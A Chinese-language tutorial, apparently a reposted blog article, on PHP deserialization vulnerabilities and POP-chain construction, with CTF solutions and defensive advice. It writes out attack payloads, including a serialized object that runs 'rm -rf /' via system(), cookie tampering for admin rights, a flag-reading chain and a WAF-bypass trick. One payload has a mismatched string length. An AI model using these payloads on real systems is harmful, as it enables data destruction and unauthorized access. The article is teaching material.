文章总结: 本文深入解析PHP反序列化漏洞原理,涵盖序列化机制、魔术方法触发条件及POP链构造逻辑。通过CTF实战案例展示了从权限绕过到远程代码执行的具体利用方式,包括WAF绕过技巧。最后提出禁止反序列化用户数据、使用JSON替代等防御建议,适合安全研究人员学习参考。 综合评分: 88 文章分类: WEB安全,漏洞分析,CTF,代码审计
第75天-【深度解析】PHP反序列化漏洞:从入门到POP链构造
原创
Сяо Яо Сяо Яо
AlphaNet
2026年3月9日 09:33 韩国
在 Web 安全领域,有一类漏洞长期活跃在 CTF竞赛、漏洞挖掘以及真实攻击事件中,它就是 不安全的反序列化(Insecure Deserialization)。
这种漏洞往往隐藏在程序的深层逻辑中,一旦被攻击者利用,轻则权限绕过,重则直接 远程代码执行(RCE)。
本文将系统梳理:
-
PHP序列化与反序列化原理
-
魔术方法触发机制
-
反序列化漏洞形成原因
-
POP链构造逻辑
-
CTF实战案例
从基础到进阶,完整理解 PHP反序列化攻击体系。
一、序列化与反序列化
在理解漏洞之前,需要先理解两个概念:
序列化(Serialization)
将程序中的 对象结构转换为字符串,用于:
-
网络传输
-
文件存储
-
Cookie / Session 保存
PHP使用函数:
serialize()
反序列化(Deserialization)
将字符串恢复为对象。
PHP使用函数:
unserialize()
可以把这个过程理解为:
对象 → 序列化 → 字符串 → 反序列化 → 对象
PHP示例
为了直观理解,看一个简单例子:
class User {
public $name = 'guest';
public $role = 'user';
}
$user_obj = new User();
$serialized_str = serialize($user_obj);
echo $serialized_str;
输出:
O:4:"User":2:{s:4:"name";s:5:"guest";s:4:"role";s:4:"user";}
结构解释:
O → Object
4 → 类名长度
User → 类名
2 → 属性数量
二、PHP魔术方法
PHP中存在一类特殊函数:
Magic Methods(魔术方法)
特点:
-
以
__开头 -
在特定场景自动触发
常见方法如下:
| 方法 | 触发条件 |
| — | — |
| __construct() | 创建对象 |
| __destruct() | 对象销毁 |
| __wakeup() | 反序列化 |
| __sleep() | 序列化 |
| __toString() | 对象当字符串 |
| __call() | 调用不存在方法 |
| __get() | 访问不存在属性 |
| __invoke() | 对象当函数 |
在漏洞利用中最关键的是:
__wakeup()
__destruct()
它们经常作为 POP链入口。
三、反序列化漏洞产生原因
漏洞产生的根本原因:
程序信任了用户输入的数据。
例如:
class B {
public $cmd = '';
public function __destruct() { system($this->cmd); }
}
unserialize($_GET['x']);
如果攻击者控制 x 参数:
http://example.com/vuln.php?x=O:1:"B":1:{s:3:"cmd";s:10:"rm -rf /";}
执行流程:
unserialize()
↓
创建对象 B
↓
cmd = "rm -rf /"
↓
脚本结束
↓
__destruct() 触发
↓
system("rm -rf /")
最终执行系统命令。
这就是 反序列化 → RCE 的最基础利用。
四、POP链原理
现实项目中,开发者很少把危险函数直接写进魔术方法。
因此攻击者需要 构造调用链。
这种技术叫:
POP(Property Oriented Programming)
核心思想:
通过 控制对象属性,触发一系列函数调用。
结构通常如下:
魔术方法
↓
中间类方法
↓
继续调用
↓
危险函数
POP链组成:
| 组件 | 作用 | | — | — | | Start | 魔术方法 | | Gadget | 中间跳板 | | Sink | 危险函数 |
危险函数常见:
system()
exec()
eval()
file_put_contents()
include()
攻击的核心就是:
寻找 Gadget 并拼接调用路径。
五、黑盒测试案例(PortSwigger)
在黑盒测试中没有源码,只能观察请求。
例如某站点 Cookie:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
字段:
admin = false
攻击者只需要修改:
admin → true
结果:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
即可获得管理员权限。
六、CTFSHOW 实战
Web255
目标:
成为 VIP。
源码发现:
$isVip
构造 payload:
class ctfShowUser{
public $isVip = true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
最终 Cookie:
user=O:11:"ctfShowUser":3:{...}
Web257
出现新的类:
backDoor
构造对象嵌套:
class backDoor {
public $code = 'system("tac flag.php");';
}
class ctfShowUser {
public $class;
public function __construct() { $this->class = new backDoor(); }
}
echo urlencode(serialize(new ctfShowUser()));
生成 Payload:
ctfShowUser
↓
backDoor
↓
system()
成功读取 flag。
Web258:WAF绕过
服务器存在过滤:
preg_match('/O:\d+:/', $str)
解决方法:
O:+11
PHP仍然会解析为:
O:11
绕过示例:
$a = serialize(new ctfShowUser());
$b = str_replace(':11', ':+11', $a);
$c = str_replace(':8', ':+8', $b);
echo urlencode($c);
七、安全防御
开发者可以从以下方面防御:
1 禁止反序列化用户数据
不要直接:
unserialize($_POST)
2 使用 allowed_classes
unserialize($data, ["allowed_classes" => false]);
3 使用 JSON 替代
推荐:
json_encode()
json_decode()
4 避免魔术方法执行危险逻辑
不要在:
__destruct()
__wakeup()
中执行敏感操作。
八、总结
PHP反序列化漏洞的核心逻辑可以概括为:
用户输入
↓
反序列化
↓
触发魔术方法
↓
POP链调用
↓
危险函数执行
关键知识点:
1️⃣ serialize() 与 unserialize()
2️⃣ 魔术方法触发机制
3️⃣ POP链构造逻辑
4️⃣ 属性控制攻击
5️⃣ WAF绕过技巧
在真实漏洞挖掘中,反序列化漏洞往往与:
-
文件包含
-
命令执行
-
SSRF
-
权限绕过
组合使用,威力极大。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet Сяо Яо Сяо Яо《第75天-【深度解析】PHP反序列化漏洞:从入门到POP链构造》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论